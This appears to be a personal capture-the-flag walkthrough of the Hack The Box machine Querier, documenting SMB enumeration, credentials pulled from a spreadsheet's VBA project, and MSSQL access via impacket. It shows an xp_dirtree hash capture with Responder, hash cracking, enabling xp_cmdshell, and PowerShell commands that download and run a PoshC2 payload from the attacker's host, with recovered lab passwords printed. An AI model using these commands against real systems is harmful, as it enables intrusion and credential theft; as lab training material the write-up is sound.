Let’s take a look at Querier, a machine from Hack The Box.
As we begin all boxes, let’s run an nmap scan.
nmap -sC -sV -oA nmap/querier 10.10.10.125
We have 4 open ports. Not the normal ones we would expect from HTB (normally i'd expect 22 and 80 as minimum) Instead we have: # Nmap 7.70 scan initiated Tue Apr 9 17:00:47 2019 as: nmap -sC -sV -oA nmap/querier 10.10.10.125 Nmap scan report for 10.10.10.125 Host is up (0.043s latency). Not shown: 996 closed ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 1433/tcp open ms-sql-s Microsoft SQL Server 14.00.1000.00 | ms-sql-ntlm-info: | Target_Name: HTB | NetBIOS_Domain_Name: HTB | NetBIOS_Computer_Name: QUERIER | DNS_Domain_Name: HTB.LOCAL | DNS_Computer_Name: QUERIER.HTB.LOCAL | DNS_Tree_Name: HTB.LOCAL |_ Product_Version: 10.0.17763 | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2019-04-09T16:00:45 |_Not valid after: 2049-04-09T16:00:45 |_ssl-date: 2019-04-09T16:01:11+00:00; 0s from scanner time. Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | ms-sql-info: | 10.10.10.125:1433: | Version: | name: Microsoft SQL Server | number: 14.00.1000.00 | Product: Microsoft SQL Server |_ TCP port: 1433 | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2019-04-09 17:01:12 |_ start_date: N/A
So what do we really have here. We have ports 135, 139, 445 and 1433. Let’s go through them each:
- 135 – Microsoft RPC (Remote Procedure Call)
- 139 – NetBIOS
- 445 – Microsoft DS (Directory Services)
- 1433 – Microsoft SQL
So we have learnt something straight away, we are definitely looking at at a Windows box!
Nmap has given us loads of data from the SQL tree. We know that computer name, domain and product version (10.0.017763).
First off let’s take a look at this SQL server.
We are going to see if we can get anonymous access to the SQL server on the remote host. To do that we need to do:
mysql -u anonymous -p -h 10.10.10.125 -P 1433
It prompts for a password, we just enter anything and we get an error:
ERROR 2013 (HY000): Lost connection to MySQL server at 'handshake: reading inital communication packet', system error: 104
Now, this is not an error I was expecting. I was expecting wrong creds or not allowed remote connection or something. A quick google suggests that this might be a firewall issue, so maybe we aren’t meant to be able to connect to the SQL database remotely.
Let’s park this for now, we still have a potential SMB share on port 445.
I wonder if we can get anonymous access into that
smbclient -L 10.10.10.125 -U anonymolus
(Yes I mangled the work anonymous, turns out it didn’t matter. We can put any username here)
Again enter anything as the password, and this time. We get a list of shares available:
ADMIN$, C$ and IPC$ are normal shares that we would always see on an smbserver. Let’s try connecting to them anyway, just in case.
We don’t want to list the output anymore, so we drop the -L flag. We also need to add some more // for the server so we try:
smbclient //10.10.10.125/ADMIN$ -U Yekki smbclient //10.10.10.125/C$ -U Yekki
We get a straight up permission denied on these
smbclient //10.10.10.125/IPC$ -U Yekki
We get access. Interesting! However when we do a dir we get:
NT_STATUS_INVALID_INFO_CLASS listing \*
So the exciting one here is hopefully Reports.
Let’s go and see what’s in there!
smbclient //10.10.10.125/Reports -U Yekki
Alright, we have a file. Let’s bring that over to our local box.
get "Currency Volume Report.xlsm"
That is now on our local box. Let’s see what we have in this file. I moved the file over to my windows box and had a look.
It’s urm, well it’s blank. There aren’t any hidden tabs.
The metadata tells us that the author is “Luis”
What we do know, is that it’s a macro enabled spreadsheet, so maybe there is some code. There are no macros.
Maybe there is more metadata that we can’t see in Excel.
Using a tool called exiftool we can extract the metadata. I think this is built into kali as per standard.
Moving the spreadsheet into a new folder, we run:
exiftool Currency\ Volume\ Report.xlsm
This prints out loads of information:
None of this is too new to us though. We knew it’s extension, we found out it was created by Luis.
I got quite lucky here. As the data showed it was deflated zip. I wondered what would happen if I unzipped it.
unzip 'Currency Volume Report.xlsm'
We get each part of the excel spreadsheet expanded:
I had a poke around all the files and what kept bothering me is why is this a .xlsm without a macro, so when there was a file called “vbaProject.bin” I thought i’d do a strings on that, and I think I got lucky here:
A mention of SQL Server.
So, we now potentially have some creds:
Uid: reporting PWd: PcwTWTHRwryjc$c6
So let’s head back over the SQL server and see if these creds work.
mysql -u reporting -p -h 10.10.10.125 -P 1433
We enter the password. Same error as before:
ERROR 2013 (HY000): Lost connection to MySQL server at 'handshake: reading inital communication packet', system error: 104
So maybe, there is an issue with out connection method. Or the box is broken. Let’s assume the former but keep trying in case of the latter.
I did a lot of searching and after getting all the posts with people with issues. I found a gem, it looks like impacket has a mssqlclient module. This would be worth trying.
We run the help to get the flags that we need:
positional arguments: target [[domain/]username[:password]@]<targetName or address>
So we try:
./mssqlclient.py HTB/reporter:PcwTWTHRwryjc$c6@10.10.10.125
Error, login failed. Let’s try without the domain.
Login failed again.
You’ve no doubt seen what I did. I am using the user “reporter” not “reporting”. Let’s fix that and try again!
Same result. Login failing!
Looking at the error on google, it appears to be a firewall or connection error. Maybe this SQL server is only available via 127.0.0.1 and we need another method to get a shell on the box.
Let’s go back to the start, what other ports are open?
- 135
- 139
- 445
- 1433
- 5985
- 47001
- 49664 – 49671
Ok, 5985 is wsman and 47001 is winrm. Let’s see what these are!
Wsman is Windows Server Management and Powershell. This could be big! There is a metasploit module available but before we deep dive there. What the heck is this?
So it’s a way to remotely control your server, to check logs and make changes. It runs over port 5985 and allows log in via a webpage. Maybe.
Lets head over to 10.10.10.125:47001 and 10.10.10.125:5985
Both return a Not Found. There looks like it might be a subdirectory called /winrm or /wsman.
Again both Not Found. I’ll run a dirb on them anyway! Rather than a dirb, I decided to use gobuster.
gobuster -u http://10.10.10.125:5985 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt gobuster -u http://10.10.10.125:47001 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
Let’s leave those running in the background!
In all honesty, I’m stuck. This is a fair few hours now, I’ve looked through various stuff and I keep coming back to it’s a mysql authentication issue, or a connection issue.
But I don’t know what else to try, so are there other ways to authenticate to mysql?
Or is it that the password has a frikkin special character in it?
I’ve done a whole bunch of googling and there can be problem with special characters in impacket, which we what we are using.
So rather than adding the password in the command line, remove it from there and put it in when prompted.
./mssqlclient.py HTB/reporting@10.10.10.125
Fuck. Just for reference. This is now ~3-4 hours on trying to log in via SQL using the credentials we found pretty darn quickly. If this took you ages, don’t feel bad! If you did it straight away, you are a prick 🙂
So, now I have vented that! Let’s carry on trying.
Going back to the exfil tool we used. There is potentially slightly more that we missed first time around. Let’s get the output and clean it up slightly.
strings vbaProject.bin > ../../vbaproject.txt
After taking out all the line breaks, we get another bit of output:
Dr={SQL Server=QUERIER;@Bsted_G#=no;D@;Uid<;Pwd=PcwTWTHRwryjc$c6
Let’s compare that to the original:
Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6
So the password is the same, and the UID is “<” that doesn’t seem right!
That’s just madness, a thought just came to me. How can I check if the reporting user and password are correct?
Can I connect to smb with those details?
The first is using the password above. The second is with hello. As we can see, the user and password are correct. I tried another smbclient -L for list. We didn’t get access to anymore directories.
So we now know, that we have the correct username and password. We also know that this is a windows account.
Looking at the impacket mysqlclient help we see:
-windows-auth whether or not to use Windows Authentication (default False)
Lets give it a go with windows auth:
We are an untrusted domain. This is a success, it’s a new error, we can find out how to solve this!
This error hasn’t been the easy win I expected. I realised we can also specific the db with -db
We know from the vba that the db is volume
./mssqlclient.py -db volume HTB/reporting:’PcwTWTHRwryjc$c6’@10.10.10.125
Same error!
Our gobusters have finished. Nothing to find on either of those ports via that method….
<————6 days later————————->
So, I’ve had a bit of a break, come back from the edge.
Let’s see what’s going on! we run the same commands and without surprise, we get the exact same results.
Maybe the domain is wrong?
Trying with HTB.local/ and QUERIER we continue to get the same error:
[-] ERROR(QUERIER): Line 1: Login failed for user 'reporting'.
With the errors we are getting, I feel the closest with the untrusted domain error. Let’s start there.
Running the debug flag against all of it doesn’t bring back any clues. I think we have the right creds, it’s just maybe we are trying to use them in the wrong way.
OMG, so after many a hour, of being stuck! I had the idea that it must be a different domain, it was the only thing that made sense. But, I tried other domains earlier right?
Well, I made a spelling mistake!
So,
./mssqlclient.py -windows-auth QUERIER/reporting@10.10.10.125 -debug
Full success!
Pentestmonkey has a create mssql cheat sheet which can be found here: http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet
Using this we can look at what databases and users are available.
SELECT name FROM master..syslogins SELECT name FROM master..sysdatabases;
So under users we have sa and the reporting that we connected in as.
For databases, we have a few, the interesting one is volume, which we saw earlier.
Let’s see if we can see the tables in volume. Turns out msssql is a right faff in terms of syntax. I think i’ll stick to mysql personally!
So for tables in volume:
SELECT name FROM master..sysobjects WHERE xtype='U';
We get a few results:
I don’t expect there to be much in here, but let’s see if any columns look like passwords!
Using the command:
SELECT name FROM master..syscolumns WHERE name = 'trace_xe_action_map';
changing trace_xe_action_map to each table. They all look empty. So we can’t get anything from here.
So it looks like the SQL database is effectively empty, so that leads to only 1 proper conclusion. The SQL database is there to allow you access onto the box, it might not be a shell, but we are interacting directly on the box.
What we therefore need, is some sort of code execution on the base OS to allow us to upgrade to a shell.
As it’s windows, ideally i’ll use the PoshC2 framework for my reverse shell as that gives me easy access to a whole bunch of enumeration and exploitation tools right off the bat. But before we get into all of that.
Having a google of windows code execution via mssql, we find a fair few resources. A lot of them point to something called:
exec xp_cmdshell
This looks to be a process that allows the running of commands within cmd. This allows the SQL database to do more automated tasks and is helpful all round, let’s hope especially when it comes to getting a shell!
I’ve found a website on how to use xp_cmdshell: https://www.sqlshack.com/use-xp-cmdshell-extended-procedure/
It looks like we don’t get any responce on screen doing any command, i.e:
xp_cmdshell 'whoami'
Returns nothing on screen. So how can we test if this is working, in the simplist way?
Let’s try pinging our kali box, and see if the command gets run. So, first up we need to set up tcpdump to listen to all traffic incoming to our kali box via the tun0 interface (our VPN to hackthebox)
tcpdump -i tun0
Once this is up and running, let’s try pinging. I tried a couple of different syntax as checks:
Absolutely nothing. So 3 options here, either xp_cmdshell isn’t enabled on this box, I have the syntax/usage wrong or my tcpdump isn’t working.
The last is easiest to check, so I do the reverse and do a ping from my kali to Querier. As you can see, tcpdump is working!
So, now we are down to 2 options.
Looking at OWASP, it tells us that xp_cmdshell is disabled by default from 2005 onwards. So maybe we need to enable it first.
Luckily OWASP tells us how to do that!
master..sp_configure 'show advanced options',1 reconfigure master..sp_configure 'xp_cmdshell',1 reconfigure
So this is firstly enabling the advanced options so we can select them by setting a value of 1. Then configuring xp_cmdshell to have a value of 1 so it will also work.
Running that, then our ping, we get…
Still nothing. Hmmm!
Further down the OWASP page there is another syntax for xp_cmdshell which is:
exec master..xp_cmdshell 'ping 10.10.10.33';-- We shouldn't need the last part, as we aren't injecting into the SQL database, we are already in! So let's try
exec master..xp_cmdshell 'ping 10.10.10.33'
There is a possibility that pings are banned via a firewall. Shall we try downloading a basic webpage and seeing if we get any traffic.
Lets set up a python simpleHTTP Server:
python -m SimpleHTTPServer 9001
We have the sql.txt file in that directory, so let’s try and grab that.
We can’t use cmd for this, it must be powershell using the Invoke Web Request function:
xp_cmdshell 'powershell -command "Invoke-WebRequest http://10.10.14.33/sql.txt"' EXEC xp_cmdshell 'powershell -command "Invoke-WebRequest http://10.10.14.33/sql.txt"'
And no hits on our web server.
As a sanity check I checked the powershell command and that is correct. So no chance that it’s the issue here.
I checked that something stupid like “exit” wouldn’t work in dropping me into a shell. It was a long shot and it didn’t, but when I reconnected into the database, I saw something that took my interest:
So let’s see if there is anything useful in there:
So shall we try:
enable_xp_cmdshell
Oh balls!
SQL> enable_xp_cmdshell [-] ERROR(QUERIER): Line 105: User does not have permission to perform this action. [-] ERROR(QUERIER): Line 1: You do not have permission to run the RECONFIGURE statement. [-] ERROR(QUERIER): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option. [-] ERROR(QUERIER): Line 1: You do not have permission to run the RECONFIGURE statement.
So let’s try to enable it.
SQL> master..sp_configure 'show advanced options',1 [-] ERROR(QUERIER): Line 105: User does not have permission to perform this action.
Bah!
I’m getting a lot more requests back on my tun0 tcpdump, but I’m not sure they are the pings I think they are as I’m running things. So, as a check let’s see if we can download a file again:
SQL> xp_cmdshell {powershell -command "Invoke-WebRequest http://10.10.14.33/sql.txt"} [-] ERROR(QUERIER): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.
No hits sadly.
Oh wait, I need to define the port
xp_cmdshell {powershell -command "Invoke-WebRequest http://10.10.14.33:9001/sql.txt"} [-] ERROR(QUERIER): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.
Again, no hits. I don’t think it is executing. So, maybe one of the other help items would help.
Having a go with sp_start_job didn’t achieve much.
However, I then tried !
! ping 10.10.14.33
With the result of:
So, shall we see if we can do any sort of webrequest.
SQL> ! powershell -command "Invoke-webRequest http://10.10.14.33:9001/sql.txt" sh: 1: powershell: not found
Dammit!
However, do we need a shell? Can we see what user folders there are then just read the flag?
! dir C:\Users
Sadly, no such file or directory.
It’s almost as if, we are in a sort of mssql docker. It’s a local shell, so it will do things within the SQL instance, but can’t access the underlying OS.
This might not be the best way to do this.
However, using sp_start_job or ! maybe we can up my permissions within the sql database, so I can then enable_xp_cmdshell.
So let’s back up slightly, and see what permissions my user has. I realised at this point I completely forgot what user I was! So I did
SELECT CURRENT_USER;
We are the user reporting. Of course I knew that, but this box has fryed me and we don’t even have user yet!
Finding out our current permissions is also straight forward:
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
We have 2 permissions:
- CONNECT SQL
- VIEW ANY DATABASE
Ok, cool, so we know we don’t have permission to enable cmdshell. So upping our permissions is next.
I’ve also just released that using the ! does a local shell command, so that’s a command on my kali box. Not sure why I’d need that, but maybe it will be obvious.
So let’s see what permissions other users have, what other users are there? Earlier we did:
SELECT name FROM master..syslogins
Found 2 results, us and “sa”
Lets see if we can find the permissions for sa.
Well this has turned out tricky, the previous command uses “fn_my_permissions” and I can’t find another method without using the GUI that we don’t have access to.
There is of course another way, which was used on Giddy. Can I get access as a different user?
I say “of course” as if I thought of it. I’d never have got this if it wasn’t for hints on the forum!
The theory behind this is we use something called xp_dirtree which allows a connection out of the mssql database back to our host. Then using responder we capture the NTLM hash and crack it. That’s how it worked in giddy, let’s see if we can achieve anything!
So, firstly looking at this cheat sheet: https://www.gracefulsecurity.com/sql-injection-cheat-sheet-mssql/
We have the out of band retrival. The code from the site for this is changed slightly and we end up with:
declare @q varchar(200) set @q='\\10.10.14.33\Hello' exec master.dbo.xp_dirtree @q;
What this is doing is setting @q to be a string with max characters of 200.
Then we set q to our box IP with any folder
Then we execute the dirtree command with the function of q.
At the same time, we set up a nc on port 445 (smb port).
Let’s run the command and we get:
DATA! Ok, what this means is we have the SQL database sending data to our kali host.
Now, the way xp_dirtree works, is it exectues at the system level, not the user level. So whoever the system user is, runs the command. So using a tool called responder, we can get the NTLM hash of that user!
So starting responder on our VPN interface
responder -I tun0
We run the same command again
We have a new user QUERIER\mssql-svc and a hash.
Let’s see if we can crack this hash. Usually I would go to haskiller or hashcracker websites. But today, I feel I should try and use hashcat as I’m sure there will be a point where I need to crack hashes locally.
We know it is NTLMv2, so lets copy that entire hash (including the username) into a new file.
Then looking at hashcat help we can grep for NTLM
root@oblivion:~/Documents/htb/Querier# hashcat -h | grep -i ntlm 5500 | NetNTLMv1 | Network Protocols 5500 | NetNTLMv1+ESS | Network Protocols 5600 | NetNTLMv2 | Network Protocols 1000 | NTLM | Operating Systems
So we know we want 5600.
Our syntax with then be
hashcat -m 5600 mssql-svc.hash /usr/share/wordlists/rockyou.txt --force
The force is due to it being a VM. It’s better to run it on a bare metal with a decent graphics card but we have what we have.
Even so, in a VM it took maybe 20 seconds and we have a result
So we have a password: corporate568
Let’s try using the creds to log into the SQL server:
./mssqlclient.py -windows-auth QUERIER/mssql-svc@10.10.10.125
And we are in!
Now, shall we try the same commands as earlier!
enable_xp_cmdshell
This time we get a better result!
So let’s try a basic whoami.
It works! A few more commands and look what we have!
So exciting! It’s been days but it’s been well worthwhile!
Getting a Shell
Let’s see if we can get a reverse shell! Let’s use PoshC2, it might be a bit extreme, but why not!
(I missed a step, we need to edit the config file — see below for details)
Firstly, let’s create our PoshC2 server
python /opt/PoshC2_Python/C2Server.py
A whole heap of payloads are created, but we will just try and use the exection via Command Prompt
Before we use that though, we need to start the implant handler. In a new window we run:
python /opt/PoshC2_Python/ImplantHandler.py
Going back into the MSSQL database and pasting the code, ended up in a massive heap of errors. So that was a no go.
Instead, we will use the .hta file which we will upload to our webserver.
First we copy the exploit
cp /opt/PoshC2_Project/payloads/Launcher.hta .
Then host it on a python webserver
python -m SimpleHTTPServer 9005
On the SQL server we then try to invoke the web-request
xp_cmdshell powershell -command "Invoke-WebRequest http://10.10.14.33:9005/Launcher.hta"
We get a hit on our webserver, that’s good news! Unfortunatly our implant doesn’t seem to work.
This is because we didn’t change the config before we created the C2Server so it’s all pointing at the wrong place
We need to edit this config file /opt/PoshC2_Python/Config.py to add in our IP
So we then re-create the Server and copy the new hta file across.
Re-running the command on the SQL Server. We get another hit. Sadly, no shell.
Let’s try downloading then running a .exe.
cp /opt/PoshC2_Project/payloads/Sharp.exe .
We want to download this to the temp directory, then run it. So to download it we need to do
xp_cmdshell powershell -command "Invoke-WebRequest -Uri "http://10.10.14.33:9001/Sharp.exe" -OutFile "C:\temp\yekki.exe""
Ooooh, there it is!
Let’s run it!
xp_cmdshell C:\temp\yekki.exe
Again, it doesn’t appear to create an Implant. This is very odd!
Instead of pounding my head there, we can do some basic recon.
Let’s learn about the box. Firstly, what is the OS? Well we can use systeminfo which spits out a whole heap of stuff. Instead I found a findstr that works well with it:
xp_cmdshell systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
We are looking at Server 2019 Standard. Version 10.0.17763. This is new, it’s not going to be a OS exploit, so must be either a program or a misconfiguration.
Looking at ipconfig, there is only the 1 IP address.
Next we see what is running:
xp_cmdshell tasklist
There is a lot running, including a bunch of powershells and yekki.exe. I wonder why our reverse shells didn’t work. Firewall rules maybe?
Other than those, I can’t see anything that’s all too exciting yet!
Next up is running services:
xp_cmdshell net start
Again, nothing really stands out there!
I have done a whole bunch of enumeration and not found anything that has stood out.
I know there are a few tools to help with this, one of which is PowerUp. Let’s try that. We need to get it from it’s git repo
xp_cmdshell powershell -command "Invoke-WebRequest -Uri "https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1" -OutFile "C:\temp\Mushrooms.ps1"" ---This is where I stopped. I think I got tired and meant to come back to it, unfortunately I never did and now it's been retired!--- After watching ippsecs video, if I had run powerup, I would have got the answer and it was an easy step from there to the root flag! Never mind eh!